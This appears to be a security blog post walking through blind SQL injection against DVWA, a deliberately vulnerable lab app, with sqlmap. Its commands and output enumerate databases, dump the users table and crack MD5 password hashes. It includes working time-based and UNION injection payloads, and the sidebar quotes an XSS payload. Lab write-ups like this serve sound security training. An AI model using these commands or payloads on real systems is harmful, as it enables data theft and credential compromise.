Saturday, February 8, 2020

DVWA: SQL Injection (Blind) with sqlmap

We start off by getting the database names hosted on the remote server.

sam@ubuntu:~/pentest/sqlmap$ python sqlmap.py -u "http://192.168.56.101/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" 
--cookie="security=low; security_level=0; SESScb1b7e2ce310cad2d8cf9c0927abc1d2=MV1sLFVZrY2dZo0xoPjTzVnXEhlkh0ak8SAGpW6FnHc; PHPSESSID=eb817a6889038ed52e8fb18c79dcbfa7" 
--dbs
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 8474 FROM (SELECT(SLEEP(5)))aqwP) AND 'wCgT'='wCgT&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x7178716a71,0x70637a4378626f434d4e6478776d70756b43544e5a6862434778454f6e586154626168457a4d6a4e,0x71707a7071),NULL-- -&Submit=Submit
---
[09:21:06] [INFO] the back-end DBMS is MySQL
[09:21:06] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
[09:21:06] [INFO] fetching database names
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195

[09:21:06] [INFO] fetched data logged to text files under '/home/sam/.sqlmap/output/192.168.56.101'

[*] ending @ 09:21:06 /2020-02-08/

sam@ubuntu:~/pentest/sqlmap$

As you can see we have seven databases to choose from, but right now we will focus on the 'dvwa' database for now.

sam@ubuntu:~/pentest/sqlmap$ python sqlmap.py -u "http://192.168.56.101/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" 
--cookie="security=low; security_level=0; SESScb1b7e2ce310cad2d8cf9c0927abc1d2=MV1sLFVZrY2dZo0xoPjTzVnXEhlkh0ak8SAGpW6FnHc; PHPSESSID=eb817a6889038ed52e8fb18c79dcbfa7" 
-D dvwa --tables
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.4.2.26#dev}
|_ -| . [.]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:23:50 /2020-02-08/

[09:23:50] [INFO] resuming back-end DBMS 'mysql' 
[09:23:50] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 8474 FROM (SELECT(SLEEP(5)))aqwP) AND 'wCgT'='wCgT&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x7178716a71,0x70637a4378626f434d4e6478776d70756b43544e5a6862434778454f6e586154626168457a4d6a4e,0x71707a7071),NULL-- -&Submit=Submit
---
[09:23:50] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
[09:23:50] [INFO] fetching tables for database: 'dvwa'
[09:23:50] [WARNING] reflective value(s) found and filtering out
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

[09:23:50] [INFO] fetched data logged to text files under '/home/sam/.sqlmap/output/192.168.56.101'

[*] ending @ 09:23:50 /2020-02-08/

sam@ubuntu:~/pentest/sqlmap$

We have two tables in the dvwa database. Lets look at the table 'users'.

sam@ubuntu:~/pentest/sqlmap$ python sqlmap.py -u "http://192.168.56.101/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" 
--cookie="security=low; security_level=0; SESScb1b7e2ce310cad2d8cf9c0927abc1d2=MV1sLFVZrY2dZo0xoPjTzVnXEhlkh0ak8SAGpW6FnHc; PHPSESSID=eb817a6889038ed52e8fb18c79dcbfa7" 
-D dvwa -T users --columns
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.4.2.26#dev}
|_ -| . [(]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:25:03 /2020-02-08/

[09:25:03] [INFO] resuming back-end DBMS 'mysql' 
[09:25:03] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 8474 FROM (SELECT(SLEEP(5)))aqwP) AND 'wCgT'='wCgT&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x7178716a71,0x70637a4378626f434d4e6478776d70756b43544e5a6862434778454f6e586154626168457a4d6a4e,0x71707a7071),NULL-- -&Submit=Submit
---
[09:25:04] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
[09:25:04] [INFO] fetching columns for table 'users' in database 'dvwa'
[09:25:04] [WARNING] reflective value(s) found and filtering out
Database: dvwa
Table: users
[6 columns]
+------------+-------------+
| Column     | Type        |
+------------+-------------+
| user       | varchar(15) |
| avatar     | varchar(70) |
| first_name | varchar(15) |
| last_name  | varchar(15) |
| password   | varchar(32) |
| user_id    | int(6)      |
+------------+-------------+

[09:25:04] [INFO] fetched data logged to text files under '/home/sam/.sqlmap/output/192.168.56.101'

[*] ending @ 09:25:04 /2020-02-08/

sam@ubuntu:~/pentest/sqlmap$

Ok, we got back some column names for the users table. lets fetch the user and password and dump the contents of the database.

sam@ubuntu:~/pentest/sqlmap$ python sqlmap.py -u "http://192.168.56.101/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" 
--cookie="security=low; security_level=0; SESScb1b7e2ce310cad2d8cf9c0927abc1d2=MV1sLFVZrY2dZo0xoPjTzVnXEhlkh0ak8SAGpW6FnHc; PHPSESSID=eb817a6889038ed52e8fb18c79dcbfa7" 
-D dvwa -T users -C user,password --dump
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.4.2.26#dev}
|_ -| . [']     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:26:54 /2020-02-08/

[09:26:54] [INFO] resuming back-end DBMS 'mysql' 
[09:26:54] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 8474 FROM (SELECT(SLEEP(5)))aqwP) AND 'wCgT'='wCgT&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT CONCAT(0x7178716a71,0x70637a4378626f434d4e6478776d70756b43544e5a6862434778454f6e586154626168457a4d6a4e,0x71707a7071),NULL-- -&Submit=Submit
---
[09:26:54] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL >= 5.0.12
[09:26:54] [INFO] fetching entries of column(s) '`user`, password' for table 'users' in database 'dvwa'
[09:26:54] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[09:26:54] [WARNING] reflective value(s) found and filtering out
[09:26:54] [INFO] retrieved: '1337','8d3533d75ae2c3966d7e0d4fcc69216b'
[09:26:54] [INFO] retrieved: 'admin','5f4dcc3b5aa765d61d8327deb882cf99'
[09:26:55] [INFO] retrieved: 'gordonb','e99a18c428cb38d5f260853678922e03'
[09:26:55] [INFO] retrieved: 'pablo','0d107d09f5bbe40cade3de5c71e9e9b7'
[09:26:55] [INFO] retrieved: 'smithy','5f4dcc3b5aa765d61d8327deb882cf99'
[09:26:55] [INFO] recognized possible password hashes in column 'password'     
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[09:27:07] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/home/sam/pentest/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[09:27:17] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[09:27:22] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[09:27:22] [INFO] starting 4 processes 
[09:27:26] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[09:27:27] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[09:27:33] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[09:27:36] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
Database: dvwa                                                                 
Table: users
[5 entries]
+---------+---------------------------------------------+
| user    | password                                    |
+---------+---------------------------------------------+
| 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  |
| admin   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   |
| pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  |
| smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+---------------------------------------------+

[09:27:42] [INFO] table 'dvwa.users' dumped to CSV file '/home/sam/.sqlmap/output/192.168.56.101/dump/dvwa/users.csv'
[09:27:42] [INFO] fetched data logged to text files under '/home/sam/.sqlmap/output/192.168.56.101'

[*] ending @ 09:27:42 /2020-02-08/

sam@ubuntu:~/pentest/sqlmap$

As you can see we successfully dumped the user and password column and even cracked the hashes that were stored in the database.

at

No comments:

Post a Comment

Subscribe to: Post Comments (Atom)

Exploiting Weak WEBDAV Configurations

The server we are going to audit has the following fingerprint. 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) Next we need t...

  • Enumerating SNMP Servers with NMAP
    NMAP gives you the ability to use scripts to enumerate and exploit remote host with the use of the NMAP Scripting Engine. Today we will be ...
  • Exploring POP3 Servers
    Scanning the remote host We can use NMAP to scan the remote host and run enumeration scripts against the POP3 server. root@asus:~/unix% ...
  • Enumerating SMTP Servers with NMAP
    NMAP gives you the ability to enumerate SMTP service with some scripts from the NMAP Scripting Enigne. These scripts will produce some gene...
  • Testing LDAP servers with examples
    Today we are going to be attacking the remote service LDAP. The only thing we need is an IP Address so lets ping our host to verify its up ...
  • Enumerating UNIX usernames
    Sometimes you may come across a situation where all you have from your OSINT phase is a list of first and last names. you can use pre-built...
  • bWAPP CSRF
    CSRF (Change Password) The first challenge is the change password CSRF. Our goal is to successfully change the users password with out log...
  • Metasploitable II: Samba Shares
    Lets first start off with an nmap scan of the remote host. root@ubuntu:~# nmap -p 139,445 -sV -sC 192.168.56.101 Starting Nmap 7.60 ( ht...
  • DVWA: File Upload
    Our goal is to exploit the weakness in file upload checking and obtain a remote system shell on the host. We start off with the security b...
  • bWAPP XSS Injections
    Cross-site-Scripting - Reflected (GET) Payload: <script>alert(1)</script> Cross-site-Scripting - Reflected (POST) Payload:...
  • bWAPP Remote & Local File Inclusion (RFI/LFI)
    In bWAPP There is a module for RFI and LFI injections. Our goal is to exploit these vulnerabilities and get local access to the remote mac...